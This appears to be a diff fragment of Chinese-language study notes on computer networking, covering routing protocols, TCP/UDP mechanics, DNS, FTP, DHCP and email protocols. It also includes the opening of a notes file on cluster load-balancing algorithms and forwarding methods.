开放表示 OSPF 不受某一家厂商控制,而是公开发表的;最短路径优先表示使用了 Dijkstra 提出的最短路径算法 SPF。
|
||||
|
||||
OSPF 具有以下特点:
|
||||
|
||||
- 向本自治系统中的所有路由器发送信息,这种方法是洪泛法。
|
||||
- 发送的信息就是与相邻路由器的链路状态,链路状态包括与哪些路由器相连以及链路的度量,度量用费用、距离、时延、带宽等来表示。
|
||||
- 只有当链路状态发生变化时,路由器才会发送信息。
|
||||
|
||||
所有路由器都具有全网的拓扑结构图,并且是一致的。相比于 RIP,OSPF 的更新过程收敛的很快。
|
||||
|
||||
### 3. 外部网关协议 BGP
|
||||
|
||||
BGP(Border Gateway Protocol,边界网关协议)
|
||||
|
||||
AS 之间的路由选择很困难,主要是由于:
|
||||
|
||||
- 互联网规模很大;
|
||||
- 各个 AS 内部使用不同的路由选择协议,无法准确定义路径的度量;
|
||||
- AS 之间的路由选择必须考虑有关的策略,比如有些 AS 不愿意让其它 AS 经过。
|
||||
|
||||
BGP 只能寻找一条比较好的路由,而不是最佳路由。
|
||||
|
||||
每个 AS 都必须配置 BGP 发言人,通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
|
||||
|
||||
<div align="center"> <img src="../pics//9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/> </div><br>
|
||||
|
||||
# 五、传输层
|
||||
|
||||
网络层只把分组发送到目的主机,但是真正通信的并不是主机而是主机中的进程。传输层提供了进程间的逻辑通信,传输层向高层用户屏蔽了下面网络层的核心细节,使应用程序看起来像是在两个传输层实体之间有一条端到端的逻辑通信信道。
|
||||
|
||||
## UDP 和 TCP 的特点
|
||||
|
||||
- 用户数据报协议 UDP(User Datagram Protocol)是无连接的,尽最大可能交付,没有拥塞控制,面向报文(对于应用程序传下来的报文不合并也不拆分,只是添加 UDP 首部),支持一对一、一对多、多对一和多对多的交互通信。
|
||||
|
||||
- 传输控制协议 TCP(Transmission Control Protocol)是面向连接的,提供可靠交付,有流量控制,拥塞控制,提供全双工通信,面向字节流(把应用层传下来的报文看成字节流,把字节流组织成大小不等的数据块),每一条 TCP 连接只能是点对点的(一对一)。
|
||||
|
||||
## UDP 首部格式
|
||||
|
||||
<div align="center"> <img src="../pics//d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/> </div><br>
|
||||
|
||||
首部字段只有 8 个字节,包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
|
||||
|
||||
## TCP 首部格式
|
||||
|
||||
<div align="center"> <img src="../pics//55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/> </div><br>
|
||||
|
||||
- **序号** :用于对字节流进行编号,例如序号为 301,表示第一个字节的编号为 301,如果携带的数据长度为 100 字节,那么下一个报文段的序号应为 401。
|
||||
|
||||
- **确认号** :期望收到的下一个报文段的序号。例如 B 正确收到 A 发送来的一个报文段,序号为 501,携带的数据长度为 200 字节,因此 B 期望下一个报文段的序号为 701,B 发送给 A 的确认报文段中确认号就为 701。
|
||||
|
||||
- **数据偏移** :指的是数据部分距离报文段起始处的偏移量,实际上指的是首部的长度。
|
||||
|
||||
- **确认 ACK** :当 ACK=1 时确认号字段有效,否则无效。TCP 规定,在连接建立后所有传送的报文段都必须把 ACK 置 1。
|
||||
|
||||
- **同步 SYN** :在连接建立时用来同步序号。当 SYN=1,ACK=0 时表示这是一个连接请求报文段。若对方同意建立连接,则响应报文中 SYN=1,ACK=1。
|
||||
|
||||
- **终止 FIN** :用来释放一个连接,当 FIN=1 时,表示此报文段的发送方的数据已发送完毕,并要求释放连接。
|
||||
|
||||
- **窗口** :窗口值作为接收方让发送方设置其发送窗口的依据。之所以要有这个限制,是因为接收方的数据缓存空间是有限的。
|
||||
|
||||
## TCP 的三次握手
|
||||
|
||||
<div align="center"> <img src="../pics//e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/> </div><br>
|
||||
|
||||
假设 A 为客户端,B 为服务器端。
|
||||
|
||||
- 首先 B 处于 LISTEN(监听)状态,等待客户的连接请求。
|
||||
|
||||
- A 向 B 发送连接请求报文,SYN=1,ACK=0,选择一个初始的序号 x。
|
||||
|
||||
- B 收到连接请求报文,如果同意建立连接,则向 A 发送连接确认报文,SYN=1,ACK=1,确认号为 x+1,同时也选择一个初始的序号 y。
|
||||
|
||||
- A 收到 B 的连接确认报文后,还要向 B 发出确认,确认号为 y+1,序号为 x+1。
|
||||
|
||||
- B 收到 A 的确认后,连接建立。
|
||||
|
||||
**三次握手的原因**
|
||||
|
||||
第三次握手是为了防止失效的连接请求到达服务器,让服务器错误打开连接。
|
||||
|
||||
客户端发送的连接请求如果在网络中滞留,那么就会隔很长一段时间才能收到服务器端发回的连接确认。客户端等待一个超时重传时间之后,就会重新请求连接。但是这个滞留的连接请求最后还是会到达服务器,如果不进行三次握手,那么服务器就会打开两个连接。如果有第三次握手,客户端会忽略服务器之后发送的对滞留连接请求的连接确认,不进行第三次握手,因此就不会再次打开连接。
|
||||
|
||||
## TCP 的四次挥手
|
||||
|
||||
<div align="center"> <img src="../pics//f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/> </div><br>
|
||||
|
||||
以下描述不讨论序号和确认号,因为序号和确认号的规则比较简单。并且不讨论 ACK,因为 ACK 在连接建立之后都为 1。
|
||||
|
||||
- A 发送连接释放报文,FIN=1。
|
||||
|
||||
- B 收到之后发出确认,此时 TCP 属于半关闭状态,B 能向 A 发送数据但是 A 不能向 B 发送数据。
|
||||
|
||||
- 当 B 不再需要连接时,发送连接释放报文,FIN=1。
|
||||
|
||||
- A 收到后发出确认,进入 TIME-WAIT 状态,等待 2 MSL(最大报文存活时间)后释放连接。
|
||||
|
||||
- B 收到 A 的确认后释放连接。
|
||||
|
||||
**四次挥手的原因**
|
||||
|
||||
客户端发送了 FIN 连接释放报文之后,服务器收到了这个报文,就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据,传送完毕之后,服务器会发送 FIN 连接释放报文。
|
||||
|
||||
**TIME_WAIT**
|
||||
|
||||
客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由:
|
||||
|
||||
- 确保最后一个确认报文能够到达。如果 B 没收到 A 发送来的确认报文,那么就会重新发送连接释放请求报文,A 等待一段时间就是为了处理这种情况的发生。
|
||||
|
||||
- 等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失,使得下一个新的连接不会出现旧的连接请求报文。
|
||||
|
||||
## TCP 可靠传输
|
||||
|
||||
TCP 使用超时重传来实现可靠传输:如果一个已经发送的报文段在超时时间内没有收到确认,那么就重传这个报文段。
|
||||
|
||||
一个报文段从发送再到接收到确认所经过的时间称为往返时间 RTT,加权平均往返时间 RTTs 计算如下:
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTTs=(1-a)*(RTTs)+a*RTT"/></div> <br>
|
||||
|
||||
超时时间 RTO 应该略大于 RTTs,TCP 使用的超时时间计算如下:
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?RTO=RTTs+4*RTT_d"/></div> <br>
|
||||
|
||||
其中 RTT<sub>d</sub> 为偏差。
|
||||
|
||||
## TCP 滑动窗口
|
||||
|
||||
窗口是缓存的一部分,用来暂时存放字节流。发送方和接收方各有一个窗口,接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小,发送方根据这个值和其它信息设置自己的窗口大小。
|
||||
|
||||
发送窗口内的字节都允许被发送,接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认,那么就将发送窗口向右滑动一定距离,直到左部第一个字节不是已发送并且已确认的状态;接收窗口的滑动类似,接收窗口左部字节已经发送确认并交付主机,就向右滑动接收窗口。
|
||||
|
||||
接收窗口只会对窗口内最后一个按序到达的字节进行确认,例如接收窗口已经收到的字节为 {31, 34, 35},其中 {31} 按序到达,而 {34, 35} 就不是,因此只对字节 31 进行确认。发送方得到一个字节的确认之后,就知道这个字节之前的所有字节都已经被接收。
|
||||
|
||||
<div align="center"> <img src="../pics//a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
|
||||
|
||||
## TCP 流量控制
|
||||
|
||||
流量控制是为了控制发送方发送速率,保证接收方来得及接收。
|
||||
|
||||
接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。将窗口字段设置为 0,则发送方不能发送数据。
|
||||
|
||||
## TCP 拥塞控制
|
||||
|
||||
如果网络出现拥塞,分组将会丢失,此时发送方会继续重传,从而导致网络拥塞程度更高。因此当出现拥塞时,应当控制发送方的速率。这一点和流量控制很像,但是出发点不同。流量控制是为了让接收方能来得及接收,而拥塞控制是为了降低整个网络的拥塞程度。
|
||||
|
||||
<div align="center"> <img src="../pics//51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/> </div><br>
|
||||
|
||||
TCP 主要通过四个算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。
|
||||
|
||||
发送方需要维护一个叫做拥塞窗口(cwnd)的状态变量,注意拥塞窗口与发送方窗口的区别:拥塞窗口只是一个状态变量,实际决定发送方能发送多少数据的是发送方窗口。
|
||||
|
||||
为了便于讨论,做如下假设:
|
||||
|
||||
- 接收方有足够大的接收缓存,因此不会发生流量控制;
|
||||
- 虽然 TCP 的窗口基于字节,但是这里设窗口的大小单位为报文段。
|
||||
|
||||
<div align="center"> <img src="../pics//910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/> </div><br>
|
||||
|
||||
### 1. 慢开始与拥塞避免
|
||||
|
||||
发送的最初执行慢开始,令 cwnd = 1,发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍,因此之后发送方能够发送的报文段数量为:2、4、8 ...
|
||||
|
||||
注意到慢开始每个轮次都将 cwnd 加倍,这样会让 cwnd 增长速度非常快,从而使得发送方发送的速度增长速度过快,网络拥塞的可能性也就更高。设置一个慢开始门限 ssthresh,当 cwnd >= ssthresh 时,进入拥塞避免,每个轮次只将 cwnd 加 1。
|
||||
|
||||
如果出现了超时,则令 ssthresh = cwnd / 2,然后重新执行慢开始。
|
||||
|
||||
### 2. 快重传与快恢复
|
||||
|
||||
在接收方,要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M<sub>1</sub> 和 M<sub>2</sub>,此时收到 M<sub>4</sub>,应当发送对 M<sub>2</sub> 的确认。
|
||||
|
||||
在发送方,如果收到三个重复确认,那么可以知道下一个报文段丢失,此时执行快重传,立即重传下一个报文段。例如收到三个 M<sub>2</sub>,则 M<sub>3</sub> 丢失,立即重传 M<sub>3</sub>。
|
||||
|
||||
在这种情况下,只是丢失个别报文段,而不是网络拥塞。因此执行快恢复,令 ssthresh = cwnd / 2 ,cwnd = ssthresh,注意到此时直接进入拥塞避免。
|
||||
|
||||
慢开始和快恢复的快慢指的是 cwnd 的设定值,而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1,而快恢复 cwnd 设定为 ssthresh。
|
||||
|
||||
<div align="center"> <img src="../pics//f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/> </div><br>
|
||||
|
||||
# 六、应用层
|
||||
|
||||
## 域名系统
|
||||
|
||||
DNS 是一个分布式数据库,提供了主机名和 IP 地址之间相互转换的服务。这里的分布式数据库是指,每个站点只保留它自己的那部分数据。
|
||||
|
||||
域名具有层次结构,从上到下依次为:根域名、顶级域名、二级域名。
|
||||
|
||||
<div align="center"> <img src="../pics//b54eeb16-0b0e-484c-be62-306f57c40d77.jpg"/> </div><br>
|
||||
|
||||
DNS 可以使用 UDP 或者 TCP 进行传输,使用的端口号都为 53。大多数情况下 DNS 使用 UDP 进行传输,这就要求域名解析器和域名服务器都必须自己处理超时和重传来保证可靠性。在两种情况下会使用 TCP 进行传输:
|
||||
|
||||
- 如果返回的响应超过的 512 字节(UDP 最大只支持 512 字节的数据)。
|
||||
- 区域传送(区域传送是主域名服务器向辅助域名服务器传送变化的那部分数据)。
|
||||
|
||||
## 文件传送协议
|
||||
|
||||
FTP 使用 TCP 进行连接,它需要两个连接来传送一个文件:
|
||||
|
||||
- 控制连接:服务器打开端口号 21 等待客户端的连接,客户端主动建立连接后,使用这个连接将客户端的命令传送给服务器,并传回服务器的应答。
|
||||
- 数据连接:用来传送一个文件数据。
|
||||
|
||||
根据数据连接是否是服务器端主动建立,FTP 有主动和被动两种模式:
|
||||
|
||||
- 主动模式:服务器端主动建立数据连接,其中服务器端的端口号为 20,客户端的端口号随机,但是必须大于 1024,因为 0\~1023 是熟知端口号。
|
||||
|
||||
<div align="center"> <img src="../pics//03f47940-3843-4b51-9e42-5dcaff44858b.jpg"/> </div><br>
|
||||
|
||||
- 被动模式:客户端主动建立数据连接,其中客户端的端口号由客户端自己指定,服务器端的端口号随机。
|
||||
|
||||
<div align="center"> <img src="../pics//be5c2c61-86d2-4dba-a289-b48ea23219de.jpg"/> </div><br>
|
||||
|
||||
主动模式要求客户端开放端口号给服务器端,需要去配置客户端的防火墙。被动模式只需要服务器端开放端口号即可,无需客户端配置防火墙。但是被动模式会导致服务器端的安全性减弱,因为开放了过多的端口号。
|
||||
|
||||
## 动态主机配置协议
|
||||
|
||||
DHCP (Dynamic Host Configuration Protocol) 提供了即插即用的连网方式,用户不再需要去手动配置 IP 地址等信息。
|
||||
|
||||
DHCP 配置的内容不仅是 IP 地址,还包括子网掩码、网关 IP 地址。
|
||||
|
||||
DHCP 工作过程如下:
|
||||
|
||||
1. 客户端发送 Discover 报文,该报文的目的地址为 255.255.255.255:67,源地址为 0.0.0.0:68,被放入 UDP 中,该报文被广播到同一个子网的所有主机上。如果客户端和 DHCP 服务器不在同一个子网,就需要使用中继代理。
|
||||
2. DHCP 服务器收到 Discover 报文之后,发送 Offer 报文给客户端,该报文包含了客户端所需要的信息。因为客户端可能收到多个 DHCP 服务器提供的信息,因此客户端需要进行选择。
|
||||
3. 如果客户端选择了某个 DHCP 服务器提供的信息,那么就发送 Request 报文给该 DHCP 服务器。
|
||||
4. DHCP 服务器发送 Ack 报文,表示客户端此时可以使用提供给它的信息。
|
||||
|
||||
<div align="center"> <img src="../pics//bf16c541-0717-473b-b75d-4115864f4fbf.jpg"/> </div><br>
|
||||
|
||||
## 远程登录协议
|
||||
|
||||
TELNET 用于登录到远程主机上,并且远程主机上的输出也会返回。
|
||||
|
||||
TELNET 可以适应许多计算机和操作系统的差异,例如不同操作系统系统的换行符定义。
|
||||
|
||||
## 电子邮件协议
|
||||
|
||||
一个电子邮件系统由三部分组成:用户代理、邮件服务器以及邮件协议。
|
||||
|
||||
邮件协议包含发送协议和读取协议,发送协议常用 SMTP,读取协议常用 POP3 和 IMAP。
|
||||
|
||||
<div align="center"> <img src="../pics//7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/> </div><br>
|
||||
|
||||
### 1. SMTP
|
||||
|
||||
SMTP 只能发送 ASCII 码,而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP,而是增加邮件主体的结构,定义了非 ASCII 码的编码规则。
|
||||
|
||||
<div align="center"> <img src="../pics//ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/> </div><br>
|
||||
|
||||
### 2. POP3
|
||||
|
||||
POP3 的特点是只要用户从服务器上读取了邮件,就把该邮件删除。
|
||||
|
||||
### 3. IMAP
|
||||
|
||||
IMAP 协议中客户端和服务器上的邮件保持同步,如果不手动删除邮件,那么服务器上的邮件也不会被删除。IMAP 这种做法可以让用户随时随地去访问服务器上的邮件。
|
||||
|
||||
## 常用端口
|
||||
|
||||
|应用| 应用层协议 | 端口号 | 传输层协议 | 备注 |
|
||||
| :---: | :--: | :--: | :--: | :--:
|
||||
| 域名解析 | DNS | 53 | UDP/TCP | 长度超过 512 字节时使用 TCP |
|
||||
| 动态主机配置协议 | DHCP | 67/68 | UDP | |
|
||||
| 简单网络管理协议 | SNMP | 161/162 | UDP | |
|
||||
| 文件传送协议 | FTP | 20/21 | TCP | 控制连接 21,数据连接 20
|
||||
| 远程终端协议 | TELNET | 23 | TCP | |
|
||||
| 超文本传送协议 | HTTP | 80 | TCP | |
|
||||
| 简单邮件传送协议 | SMTP | 25 | TCP | |
|
||||
| 邮件读取协议 | POP3 | 110 | TCP | |
|
||||
| 网际报文存取协议 | IMAP | 143 | TCP | |
|
||||
|
||||
## Web 页面请求过程
|
||||
|
||||
### 1. DHCP 配置主机信息
|
||||
|
||||
- 假设主机最开始没有 IP 地址以及其它信息,那么就需要先使用 DHCP 来获取。
|
||||
|
||||
- 主机生成一个 DHCP 请求报文,并将这个报文放入具有目的端口 67 和源端口 68 的 UDP 报文段中。
|
||||
|
||||
- 该报文段则被放入在一个具有广播 IP 目的地址(255.255.255.255) 和源 IP 地址(0.0.0.0)的 IP 数据报中。
|
||||
|
||||
- 该数据报则被放置在 MAC 帧中,该帧具有目的地址 FF:FF:FF:FF:FF:FF,将广播到与交换机连接的所有设备。
|
||||
|
||||
- 连接在交换机的 DHCP 服务器收到广播帧之后,不断地向上分解得到 IP 数据报、UDP 报文段、DHCP 请求报文,之后生成 DHCP ACK 报文,该报文包含以下信息:IP 地址、DNS 服务器的 IP 地址、默认网关路由器的 IP 地址和子网掩码。该报文被放入 UDP 报文段中,UDP 报文段有被放入 IP 数据报中,最后放入 MAC 帧中。
|
||||
|
||||
- 该帧的目的地址是请求主机的 MAC 地址,因为交换机具有自学习能力,之前主机发送了广播帧之后就记录了 MAC 地址到其转发接口的交换表项,因此现在交换机就可以直接知道应该向哪个接口发送该帧。
|
||||
|
||||
- 主机收到该帧后,不断分解得到 DHCP 报文。之后就配置它的 IP 地址、子网掩码和 DNS 服务器的 IP 地址,并在其 IP 转发表中安装默认网关。
|
||||
|
||||
### 2. ARP 解析 MAC 地址
|
||||
|
||||
- 主机通过浏览器生成一个 TCP 套接字,套接字向 HTTP 服务器发送 HTTP 请求。为了生成该套接字,主机需要知道网站的域名对应的 IP 地址。
|
||||
|
||||
- 主机生成一个 DNS 查询报文,该报文具有 53 号端口,因为 DNS 服务器的端口号是 53。
|
||||
|
||||
- 该 DNS 查询报文被放入目的地址为 DNS 服务器 IP 地址的 IP 数据报中。
|
||||
|
||||
- 该 IP 数据报被放入一个以太网帧中,该帧将发送到网关路由器。
|
||||
|
||||
- DHCP 过程只知道网关路由器的 IP 地址,为了获取网关路由器的 MAC 地址,需要使用 ARP 协议。
|
||||
|
||||
- 主机生成一个包含目的地址为网关路由器 IP 地址的 ARP 查询报文,将该 ARP 查询报文放入一个具有广播目的地址(FF:FF:FF:FF:FF:FF)的以太网帧中,并向交换机发送该以太网帧,交换机将该帧转发给所有的连接设备,包括网关路由器。
|
||||
|
||||
- 网关路由器接收到该帧后,不断向上分解得到 ARP 报文,发现其中的 IP 地址与其接口的 IP 地址匹配,因此就发送一个 ARP 回答报文,包含了它的 MAC 地址,发回给主机。
|
||||
|
||||
### 3. DNS 解析域名
|
||||
|
||||
- 知道了网关路由器的 MAC 地址之后,就可以继续 DNS 的解析过程了。
|
||||
|
||||
- 网关路由器接收到包含 DNS 查询报文的以太网帧后,抽取出 IP 数据报,并根据转发表决定该 IP 数据报应该转发的路由器。
|
||||
|
||||
- 因为路由器具有内部网关协议(RIP、OSPF)和外部网关协议(BGP)这两种路由选择协议,因此路由表中已经配置了网关路由器到达 DNS 服务器的路由表项。
|
||||
|
||||
- 到达 DNS 服务器之后,DNS 服务器抽取出 DNS 查询报文,并在 DNS 数据库中查找待解析的域名。
|
||||
|
||||
- 找到 DNS 记录之后,发送 DNS 回答报文,将该回答报文放入 UDP 报文段中,然后放入 IP 数据报中,通过路由器反向转发回网关路由器,并经过以太网交换机到达主机。
|
||||
|
||||
### 4. HTTP 请求页面
|
||||
|
||||
- 有了 HTTP 服务器的 IP 地址之后,主机就能够生成 TCP 套接字,该套接字将用于向 Web 服务器发送 HTTP GET 报文。
|
||||
|
||||
- 在生成 TCP 套接字之前,必须先与 HTTP 服务器进行三次握手来建立连接。生成一个具有目的端口 80 的 TCP SYN 报文段,并向 HTTP 服务器发送该报文段。
|
||||
|
||||
- HTTP 服务器收到该报文段之后,生成 TCP SYN ACK 报文段,发回给主机。
|
||||
|
||||
- 连接建立之后,浏览器生成 HTTP GET 报文,并交付给 HTTP 服务器。
|
||||
|
||||
- HTTP 服务器从 TCP 套接字读取 HTTP GET 报文,生成一个 HTTP 响应报文,将 Web 页面内容放入报文主体中,发回给主机。
|
||||
|
||||
- 浏览器收到 HTTP 响应报文后,抽取出 Web 页面内容,之后进行渲染,显示 Web 页面。
|
||||
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 计算机网络, 谢希仁
|
||||
- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.
|
||||
- W.RichardStevens. TCP/IP 详解. 卷 1, 协议 [M]. 机械工业出版社, 2006.
|
||||
- [Active vs Passive FTP Mode: Which One is More Secure?](https://securitywing.com/active-vs-passive-ftp-mode/)
|
||||
- [Active and Passive FTP Transfers Defined - KB Article #1138](http://www.serv-u.com/kb/1138/active-and-passive-ftp-transfers-defined)
|
||||
- [Traceroute](https://zh.wikipedia.org/wiki/Traceroute)
|
||||
- [ping](https://zh.wikipedia.org/wiki/Ping)
|
||||
- [How DHCP works and DHCP Interview Questions and Answers](http://webcache.googleusercontent.com/search?q=cache:http://anandgiria.blogspot.com/2013/09/windows-dhcp-interview-questions-and.html)
|
||||
- [What is process of DORA in DHCP?](https://www.quora.com/What-is-process-of-DORA-in-DHCP)
|
||||
- [What is DHCP Server ?](https://tecadmin.net/what-is-dhcp-server/)
|
||||
- [Tackling emissions targets in Tokyo](http://www.climatechangenews.com/2011/html/university-tokyo.html)
|
||||
- [What does my ISP know when I use Tor?](http://www.climatechangenews.com/2011/html/university-tokyo.html)
|
||||
- [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
|
||||
- [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
|
||||
- [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)
|
3068
docs/notes/设计模式.md
Normal file
3068
docs/notes/设计模式.md
Normal file
File diff suppressed because it is too large
Load Diff
1427
docs/notes/重构.md
Normal file
1427
docs/notes/重构.md
Normal file
File diff suppressed because it is too large
Load Diff
202
docs/notes/集群.md
Normal file
202
docs/notes/集群.md
Normal file
@ -0,0 +1,202 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、负载均衡](#一负载均衡)
|
||||
* [负载均衡算法](#负载均衡算法)
|
||||
* [转发实现](#转发实现)
|
||||
* [二、集群下的 Session 管理](#二集群下的-session-管理)
|
||||
* [Sticky Session](#sticky-session)
|
||||
* [Session Replication](#session-replication)
|
||||
* [Session Server](#session-server)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、负载均衡
|
||||
|
||||
集群中的应用服务器(节点)通常被设计成无状态,用户可以请求任何一个应用服务器。
|
||||
|
||||
负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。
|
||||
|
||||
负载均衡器可以用来实现高可用以及伸缩性:
|
||||
|
||||
- 高可用:当某个节点故障时,负载均衡器会将用户请求转发到另外的节点上,从而保证所有服务持续可用;
|
||||
- 伸缩性:根据系统整体负载情况,可以很容易地添加移除节点。
|
||||
|
||||
负载均衡运行过程包含两个部分:
|
||||
|
||||
1. 根据负载均衡算法得到转发的节点;
|
||||
2. 进行转发。
|
||||
|
||||
## 负载均衡算法
|
||||
|
||||
### 1. 轮询(Round Robin)
|
||||
|
||||
轮询算法把每个请求轮流发送到每个服务器上。
|
||||
|
||||
下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1,(2, 4, 6) 的请求会被发送到服务器 2。
|
||||
|
||||
<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
|
||||
|
||||
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担过大的负载(下图的 Server 2)。
|
||||
|
||||
<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
|
||||
|
||||
### 2. 加权轮询(Weighted Round Robbin)
|
||||
|
||||
加权轮询是在轮询的基础上,根据服务器的性能差异,为服务器赋予一定的权值,性能高的服务器分配更高的权值。
|
||||
|
||||
例如下图中,服务器 1 被赋予的权值为 5,服务器 2 被赋予的权值为 1,那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1,(6) 请求会被发送到服务器 2。
|
||||
|
||||
<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
|
||||
|
||||
### 3. 最少连接(least Connections)
|
||||
|
||||
由于每个请求的连接时间不一样,使用轮询或者加权轮询算法的话,可能会让一台服务器当前连接数过大,而另一台服务器的连接过小,造成负载不均衡。
|
||||
|
||||
例如下图中,(1, 3, 5) 请求会被发送到服务器 1,但是 (1, 3) 很快就断开连接,此时只有 (5) 请求连接服务器 1;(2, 4, 6) 请求被发送到服务器 2,只有 (2) 的连接断开,此时 (6, 4) 请求连接服务器 2。该系统继续运行时,服务器 2 会承担过大的负载。
|
||||
|
||||
<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
|
||||
|
||||
最少连接算法就是将请求发送给当前最少连接数的服务器上。
|
||||
|
||||
例如下图中,服务器 1 当前连接数最小,那么新到来的请求 6 就会被发送到服务器 1 上。
|
||||
|
||||
<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
|
||||
|
||||
### 4. 加权最少连接(Weighted Least Connection)
|
||||
|
||||
在最少连接的基础上,根据服务器的性能为每台服务器分配权重,再根据权重计算出每台服务器能处理的连接数。
|
||||
|
||||
<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
|
||||
|
||||
### 5. 随机算法(Random)
|
||||
|
||||
把请求随机发送到服务器上。
|
||||
|
||||
和轮询算法类似,该算法比较适合服务器性能差不多的场景。
|
||||
|
||||
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
|
||||
|
||||
### 6. 源地址哈希法 (IP Hash)
|
||||
|
||||
源地址哈希通过对客户端 IP 计算哈希值之后,再对服务器数量取模得到目标服务器的序号。
|
||||
|
||||
可以保证同一 IP 的客户端的请求会转发到同一台服务器上,用来实现会话粘滞(Sticky Session)
|
||||
|
||||
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
|
||||
|
||||
## 转发实现
|
||||
|
||||
### 1. HTTP 重定向
|
||||
|
||||
HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后,将该地址写入 HTTP 重定向报文中,状态码为 302。客户端收到重定向报文之后,需要重新向服务器发起请求。
|
||||
|
||||
缺点:
|
||||
|
||||
- 需要两次请求,因此访问延迟比较高;
|
||||
- HTTP 负载均衡器处理能力有限,会限制集群的规模。
|
||||
|
||||
该负载均衡转发的缺点比较明显,实际场景中很少使用它。
|
||||
|
||||
<div align="center"> <img src="../pics//c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
|
||||
|
||||
### 2. DNS 域名解析
|
||||
|
||||
在 DNS 解析域名的同时使用负载均衡算法计算服务器 IP 地址。
|
||||
|
||||
优点:
|
||||
|
||||
- DNS 能够根据地理位置进行域名解析,返回离用户最近的服务器 IP 地址。
|
||||
|
||||
缺点:
|
||||
|
||||
- 由于 DNS 具有多级结构,每一级的域名记录都可能被缓存,当下线一台服务器需要修改 DNS 记录时,需要过很长一段时间才能生效。
|
||||
|
||||
大型网站基本使用了 DNS 做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。也就是说,域名解析的结果为内部的负载均衡服务器 IP 地址。
|
||||
|
||||
<div align="center"> <img src="../pics//76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
|
||||
|
||||
### 3. 反向代理服务器
|
||||
|
||||
反向代理服务器位于源服务器前面,用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等,同时也可以用来做为负载均衡服务器。
|
||||
|
||||
在这种负载均衡转发方式下,客户端不直接请求源服务器,因此源服务器不需要外部 IP 地址,而反向代理需要配置内部和外部两套 IP 地址。
|
||||
|
||||
优点:
|
||||
|
||||
- 与其它功能集成在一起,部署简单。
|
||||
|
||||
缺点:
|
||||
|
||||
- 所有请求和响应都需要经过反向代理服务器,它可能会成为性能瓶颈。
|
||||
|
||||
### 4. 网络层
|
||||
|
||||
在操作系统内核进程获取网络数据包,根据负载均衡算法计算源服务器的 IP 地址,并修改请求数据包的目的 IP 地址,最后进行转发。
|
||||
|
||||
源服务器返回的响应也需要经过负载均衡服务器,通常是让负载均衡服务器同时作为集群的网关服务器来实现。
|
||||
|
||||
优点:
|
||||
|
||||
- 在内核进程中进行处理,性能比较高。
|
||||
|
||||
缺点:
|
||||
|
||||
- 和反向代理一样,所有的请求和响应都经过负载均衡服务器,会成为性能瓶颈。
|
||||
|
||||
### 5. 链路层
|
||||
|
||||
在链路层根据负载均衡算法计算源服务器的 MAC 地址,并修改请求数据包的目的 MAC 地址,并进行转发。
|
||||
|
||||
